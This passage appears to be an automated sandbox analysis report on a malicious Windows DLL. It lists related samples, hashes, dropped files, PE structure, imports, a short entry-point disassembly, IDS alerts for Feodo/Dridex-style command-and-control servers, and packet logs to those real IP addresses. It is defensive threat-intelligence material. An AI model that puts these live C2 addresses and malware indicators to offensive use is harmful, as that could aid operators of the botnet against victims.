	9fC0as7YLE.dll	Get hash	malicious	Browse	196.44.98.190
	FIyE6huzxV.dll	Get hash	malicious	Browse	196.44.98.190
	V0gZWRXv8d.dll	Get hash	malicious	Browse	196.44.98.190
	t5EuQW2GUF.dll	Get hash	malicious	Browse	196.44.98.190
	uh1WyesPlh.dll	Get hash	malicious	Browse	196.44.98.190
	8rryPzJR1p.dll	Get hash	malicious	Browse	196.44.98.190
	a65FgjVus4.dll	Get hash	malicious	Browse	196.44.98.190
	bWjYh6H8wk.dll	Get hash	malicious	Browse	196.44.98.190
	ZJOHKItBoJ.dll	Get hash	malicious	Browse	196.44.98.190
	eyPPiz3W6u.dll	Get hash	malicious	Browse	196.44.98.190
	HjYSwxqyUn.dll	Get hash	malicious	Browse	196.44.98.190

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
51c64c77e60f3980eea90869b68c58a8	cRC6TZG6Wx.dll	Get hash	malicious	Browse	51.178.61.60
	qrb6jVwzoe.dll	Get hash	malicious	Browse	51.178.61.60
	ReadMe[2021.11.22_12-15].vbs	Get hash	malicious	Browse	51.178.61.60
	cTplVWrqRR.dll	Get hash	malicious	Browse	51.178.61.60
	NErdgsNsKR.vbs	Get hash	malicious	Browse	51.178.61.60
	F.A.Q[2021.11.22_12-15].vbs	Get hash	malicious	Browse	51.178.61.60
	Q1KL4ickDw.dll	Get hash	malicious	Browse	51.178.61.60
	yZGYbaJ.dll	Get hash	malicious	Browse	51.178.61.60
	1711.doc	Get hash	malicious	Browse	51.178.61.60
	cs.exe	Get hash	malicious	Browse	51.178.61.60
	0MGLPJiSa5.dll	Get hash	malicious	Browse	51.178.61.60
	0MGLPJiSa5.dll	Get hash	malicious	Browse	51.178.61.60
	bbyGAgHI9O.dll	Get hash	malicious	Browse	51.178.61.60
	Vs6ZDk0LMC.dll	Get hash	malicious	Browse	51.178.61.60
	sTh52oTZDh.dll	Get hash	malicious	Browse	51.178.61.60
	loveTubeLike.dll	Get hash	malicious	Browse	51.178.61.60
	2SR3psYDHQ.js	Get hash	malicious	Browse	51.178.61.60
	GQwxmGZFvtg.dll	Get hash	malicious	Browse	51.178.61.60
	Fuutbqvhmc.dll	Get hash	malicious	Browse	51.178.61.60
	wNjqkrm8pH.dll	Get hash	malicious	Browse	51.178.61.60

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3593198815979092
Encrypted:	false
SSDEEP:	12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
MD5:	BF1DC7D5D8DAD7478F426DF8B3F8BAA6
SHA1:	C6B0BDE788F553F865D65F773D8F6A3546887E42
SHA-256:	BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
SHA-512:	00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
Malicious:	false
Preview:	.......................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24941951455300806
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU42:BJiRdwfu2SRU42
MD5:	FC6863474F2AB1A11EBFC08BBD3E9F43
SHA1:	F4FC946C1C16A5CD15129652980AB2519FB9CC16
SHA-256:	1A8B45D05E5FEF9C041CAC5111A09F4B6D00D04B1C5A7C6EB0EFC5EC5A23F68D
SHA-512:	1124F306BC86D2B230FD092C615D37001A11311A71190EB3452D26A38AC9427F6D92F933EA78B0B71A4FA3F81792D5E1FB6CB8700CB4BE13D072A6BBCC1BE8A2
Malicious:	false
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x11dde58d, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.25036014689242214
Encrypted:	false
SSDEEP:	384:LvA+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:LvfSB2nSB2RSjlK/+mLesOj1J2
MD5:	F4B2CE76832A1FA56EE42EBD4490028E
SHA1:	6213A588EF51ADFD3C110FC39458E2FB722BDD5A
SHA-256:	FDC5AB9BE3FE5EC649924CC8266D858A4595787A2EBC7C72163DFB5C232A0BC5
SHA-512:	ADFA9002D20664A0EBB5EECCF1EBBC965A2761B2C33FC23B5244547AA2CF576915F9F273C53E070160BD4B4F3895686B49192A424307835B724E0C38DF018C3E
Malicious:	false
Preview:	...... ................e.f.3...w........................)......7...y...4...y..h.(......7...y....)..............3...w...........................................................................................................B...........@...................................................................................................... ....................................................................................................................................................................................................................................................{5Z.7...y...................A...7...y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.06774787893639142
Encrypted:	false
SSDEEP:	3:TXZ7vuRmn/rll6/rlxWDl0v1muVulTU5llqll3Vkttlmlnl:lrug/m/rdZOUk3
MD5:	955DE7E6C960583E959E43E11EF76240
SHA1:	6C70D9E00A8C15BA4EBEC313E3CE9CB929C6939D
SHA-256:	27ACE1CA277A38D3A2D2C8653F7E758696D884709D30964DB9E590DFCBC18256
SHA-512:	D9F30622DBC34086016202C2E80E0A8128A5C2C81E61E919D56AEFDA58B90E7A252561C4A0DAF1FFB7B26839F26F9695027086958AA42EFB7B008098F8315DFA
Malicious:	false
Preview:	..%......................................3...w...4...y...7...y...........7...y...7...y..Q.*..7...y...................A...7...y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Microsoft Cabinet archive data, 61414 bytes, 1 file
Category:	dropped
Size (bytes):	61414
Entropy (8bit):	7.995245868798237
Encrypted:	true
SSDEEP:	1536:EysgU6qmzixT64jYMZ8HbVPGfVDwm/xLZ9rP:wF6qmeo4eH1m9wmLvrP
MD5:	ACAEDA60C79C6BCAC925EEB3653F45E0
SHA1:	2AAAE490BCDACCC6172240FF1697753B37AC5578
SHA-256:	6B0CECCF0103AFD89844761417C1D23ACC41F8AEBF3B7230765209B61EEE5658
SHA-512:	FEAA6E7ED7DDA1583739B3E531AB5C562A222EE6ECD042690AE7DCFF966717C6E968469A7797265A11F6E899479AE0F3031E8CF5BEBE1492D5205E9C59690900
Malicious:	false
Preview:	MSCF............,...................I.......;w........RSNj .authroot.stl..>.(.5..CK..8T....c_.d...A.K...+.d.H..i.RJJ.IQIR..$t)Kd.-[..T\{..ne......<.w......A..B........c...wi......D....c.0D,L........fy....Rg...=........i,3.3..Z....~^ve<...TF....f.zy.,...m.@.0.0...m.3..I(..+..v#...(.2....e...L..y..V.......~U...."<ke.....l.X:Dt..R<7.5\A7L0=..T.V...IDr..8<....r&...I-.^..b.b.".Af....E.._..r.>.`;,.Hob..S.....7'..\.R$.".g..+..64..@nP.....k3...B.`.G..@D.....L.....`^...#OpW.....!....`.....rf:.}.R.@....gR.#7....l..H.#...d.Qh..3..fCX....==#..M.l..~&....[.J9.\..Ww.....Tx.%....]..a4E...q.+...#.a..x..O..V.t..Y1!.T..`U...-...< _@...\|(.....0..3.`.LU...E0.Gu.4KN....5...?.....I.p..'..........N<.d.O..dH@c1t...[w/...T....cYK.X>.0..Z.....O>..9.3.#9X.%.b...5.YK.E.V.....`./.3.._..nN]..=..M.o.F.._..z....._...gY..!Z..?l....vp.l.:.d.Z..W.....~...N.._.k...&.....$......i.F.d.....D!e.....Y..,.E..m.;.1... $.F..O.F.o_}.uG....,.%.>,.Zx.......o....c../.;....g&.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1122616792999316
Encrypted:	false
SSDEEP:	6:kKeEfzk8SN+SkQlPlEGYRMY9z+4KlDA3RUeYlUmlUR/t:Xfz9kPlE99SNxAhUeYlUSA/t
MD5:	A4DF8E0551B740A7C7897A3D021C2A8E
SHA1:	5B1AD598C1746EA1CF91FFE50910C981F39C2C33
SHA-256:	20C01CCAF31CB1DC282EEEB50DEB3AC6D5F43FEF097655A274765F17045740DE
SHA-512:	0FF4D37A378BAF9F9146CF150E7D37F05A3472AE5954A9DCE78F57109BC960DDFA5125524512B60BDF3B979559AF1CEAF145C8C47E94D1AED10FCABDC008BB79
Malicious:	false
Preview:	p...... ........O.S....(....................................................... ........q.\].......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.7.1.e.1.5.c.5.d.c.4.d.7.1.:.0."...

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.1697062612558384
Encrypted:	false
SSDEEP:	192:cY+38+DJDD+iDtJC+iw3+gF+O5+6tw+EStN+EjB+m:j+s+5D+Me+X+u+M+j+l+y+m
MD5:	DD7478D6F5FE278F580CE5440AC9CA16
SHA1:	987DBC4E1FF9E97EDFED9C3A02F76A67C03558C0
SHA-256:	035D2306C5FB3AC82EF31986EA9CDDA3FBFD7876AA121D1B5ECA78C83661DEF1
SHA-512:	3A13E147D978ECE19103377A0C777B7CB04F52A8C56163C963568BC592F1B02637296843A22CEF0C6496DE2AF47025D651C6B47C059F14838FAD6F508EE65D32
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211125_005222_250.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.7875452680796373
Encrypted:	false
SSDEEP:	96:z5CgC1wo+TK5Ou9o2YKTmCZSI2lIvkWM4mOT2fYFzlUMCbrJRsDK5gyMCcK5nyMA:kQEX332iiyC5kCxCqC7CSCo
MD5:	BE4E74DFFFF3B35181EA6C5AA01FFB3A
SHA1:	D16BBCCA2F4E9202120BE7BFD7457936976DD81D
SHA-256:	CB8F08C21DCCF806470F214B2ADFA42A6D12AC2FBE1918989A63D4E65A328B48
SHA-512:	02D2088E566573E5E5E958B83EF71D18586B7D369FA0632D895040718BBB4FE20BF7248993E249D9E830456E18D8D3CD13C3B088CBB27DAFB572B2D72FA2371D
Malicious:	false
Preview:	.... ... ....................................... ...!...........................`.......A........................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................N...=..... .....................8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.1.1.1.2.5._.0.0.5.2.2.2._.2.5.0...e.t.l.........P.P.`.......A.......................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.428775577219427
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.40% Win16/32 Executable Delphi generic (2074/23) 0.21% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20%
File name:	pPX9DaPVYj.dll
File size:	425984
MD5:	8b540033f4ffd79e5109e41a06f3e876
SHA1:	86a8b94f1a3102ad3741fabccfe5ea5d9a3bf624
SHA256:	2b3700c2a383b322dadfebfea00d9bc85b05a37793dc366954dd8c882f3006e2
SHA512:	60f3a7b684c9f000bb08fb0f01b74ffa38aeb2d77a6dec3a0daacf93dc4bf9f95edcdf1124c6dd6083e479335017d12f82b445d3bda7e2ff7cf4c20505d08fae
SSDEEP:	6144:1ACzUEcRRKxe0DUAldEzpLGE0sepO8+wM:1lxemHQtGE0sLvd
File Content Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L....A.a...........!.....T...P.......................................................H....@..........................S..P..

File Icon


Icon Hash:	64da98ecd2ceead4

Static PE Info

General
Entrypoint:	0x1001cab0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x619E410C [Wed Nov 24 13:41:32 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ef559179cbfc08fc57c1e24c241992ea

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FC08C92A397h
call 00007FC08C92A3F7h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FC08C92A248h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [1002806Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [10028068h]
xor dword ptr [ebp-04h], eax
call dword ptr [10028050h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [10028064h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov ecx, dword ptr [1004609Ch]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FC08C92A396h
test esi, ecx
jne 00007FC08C92A3B8h
call 00007FC08C92A329h
mov ecx, eax
cmp ecx, edi
jne 00007FC08C92A399h
mov ecx, BB40E64Fh
jmp 00007FC08C92A3A0h
test esi, ecx
jne 00007FC08C92A39Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [1004609Ch], ecx
not ecx
pop edi
mov dword ptr [10046098h], ecx
pop esi
ret
push 1005E118h
call dword ptr [10028070h]
ret

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x45300	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x45350	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x61000	0xb7b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6d000	0x10f0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x44be0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x44c18	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x28000	0x124	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.flat	0x1000	0x446	0x600	False	0.643229166667	data	5.67523607022	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.text	0x2000	0x252cb	0x25400	False	0.536086933725	data	5.88986915783	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x1d9da	0x1da00	False	0.494923523207	data	5.10028459369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x46000	0x1aab0	0x17e00	False	0.51547161322	data	4.96852691532	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x61000	0xb7b8	0xb800	False	0.177564538043	data	3.89759299523	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6d000	0x10f0	0x1200	False	0.782335069444	data	6.41113333729	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x614b0	0xb13	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Russian	Russia
RT_ICON	0x61fc8	0xea8	data	Russian	Russia
RT_ICON	0x62e70	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0	Russian	Russia
RT_ICON	0x63718	0x568	GLS_BINARY_LSB_FIRST	Russian	Russia
RT_ICON	0x63c80	0xc4a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Russian	Russia
RT_ICON	0x648d0	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 61695, next used block 4294934272	Russian	Russia
RT_ICON	0x68af8	0x25a8	data	Russian	Russia
RT_ICON	0x6b0a0	0x10a8	data	Russian	Russia
RT_ICON	0x6c148	0x468	GLS_BINARY_LSB_FIRST	Russian	Russia
RT_GROUP_ICON	0x6c5b0	0x84	data	Russian	Russia
RT_VERSION	0x612b0	0x200	data	Russian	Russia
RT_MANIFEST	0x6c638	0x17d	XML 1.0 document text	English	United States

Imports

DLL

Import

KERNEL32.dll

InterlockedFlushSList, GetProcessHeap, HeapAlloc, HeapFree, GetLastError, GetCommandLineA, ExitProcess, GetModuleHandleA, GetProcAddress, CloseHandle, TerminateProcess, WaitForSingleObject, VirtualProtect, SetLastError, VirtualFree, VirtualAlloc, LoadLibraryA, GetNativeSystemInfo, FreeLibrary, IsBadReadPtr, GetCurrentProcessId, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, WriteConsoleW, DecodePointer, RtlUnwind, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, RaiseException, GetModuleHandleExW, GetModuleFileNameW, LCMapStringW, GetStdHandle, GetFileType, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, FlushFileBuffers, WriteFile, GetConsoleCP, GetConsoleMode, SetStdHandle, SetFilePointerEx, GetStringTypeW, HeapSize, CreateFileW

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x1000209d

Version Infos

Description	Data
LegalCopyright	Copyright (C) 2021
ProductVersion	1.0.0.1
FileDescription	Application
FileVersion	1.0.0.1
CompanyName	A company
Translation	0x0419 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
11/24/21-16:52:19.289668	TCP	2404334	ET CNC Feodo Tracker Reported CnC Server TCP group 18	49751	443	192.168.2.7	51.178.61.60
11/24/21-16:52:20.089765	TCP	2404312	ET CNC Feodo Tracker Reported CnC Server TCP group 7	49752	80	192.168.2.7	168.197.250.14
11/24/21-16:52:21.998581	TCP	2404332	ET CNC Feodo Tracker Reported CnC Server TCP group 17	49753	8080	192.168.2.7	45.79.33.48
11/24/21-16:52:43.306423	TCP	2404322	ET CNC Feodo Tracker Reported CnC Server TCP group 12	49757	8080	192.168.2.7	196.44.98.190
11/24/21-16:53:04.351060	TCP	2404314	ET CNC Feodo Tracker Reported CnC Server TCP group 8	49772	7080	192.168.2.7	177.72.80.14
11/24/21-16:53:04.881124	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	7080	49772	177.72.80.14	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2021 16:52:19.289668083 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:19.289737940 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:19.289834023 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:19.311877966 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:19.311928034 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:19.432533979 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:19.432696104 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:19.834808111 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:19.834856033 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:19.835609913 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:19.838196993 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:19.881314993 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:19.924882889 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:19.981415033 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:19.981492043 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:19.981674910 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:19.981694937 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:20.008826017 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:20.008876085 CET	443	49751	51.178.61.60	192.168.2.7
Nov 24, 2021 16:52:20.008891106 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:20.009975910 CET	49751	443	192.168.2.7	51.178.61.60
Nov 24, 2021 16:52:20.089765072 CET	49752	80	192.168.2.7	168.197.250.14
Nov 24, 2021 16:52:20.361020088 CET	80	49752	168.197.250.14	192.168.2.7
Nov 24, 2021 16:52:20.872375965 CET	49752	80	192.168.2.7	168.197.250.14
Nov 24, 2021 16:52:21.143549919 CET	80	49752	168.197.250.14	192.168.2.7
Nov 24, 2021 16:52:21.653675079 CET	49752	80	192.168.2.7	168.197.250.14
Nov 24, 2021 16:52:21.926702976 CET	80	49752	168.197.250.14	192.168.2.7
Nov 24, 2021 16:52:21.998580933 CET	49753	8080	192.168.2.7	45.79.33.48
Nov 24, 2021 16:52:25.060262918 CET	49753	8080	192.168.2.7	45.79.33.48
Nov 24, 2021 16:52:31.076478958 CET	49753	8080	192.168.2.7	45.79.33.48
Nov 24, 2021 16:52:43.306422949 CET	49757	8080	192.168.2.7	196.44.98.190
Nov 24, 2021 16:52:46.312052965 CET	49757	8080	192.168.2.7	196.44.98.190
Nov 24, 2021 16:52:52.328149080 CET	49757	8080	192.168.2.7	196.44.98.190
Nov 24, 2021 16:53:04.351059914 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:04.599721909 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:53:04.599893093 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:04.600399971 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:04.848778009 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:53:04.881124020 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:53:04.881141901 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:53:04.881652117 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:04.881664038 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:08.795705080 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:09.056107998 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:53:09.059551001 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:09.074740887 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:09.366739988 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:53:10.205133915 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:53:10.205251932 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:13.207972050 CET	7080	49772	177.72.80.14	192.168.2.7
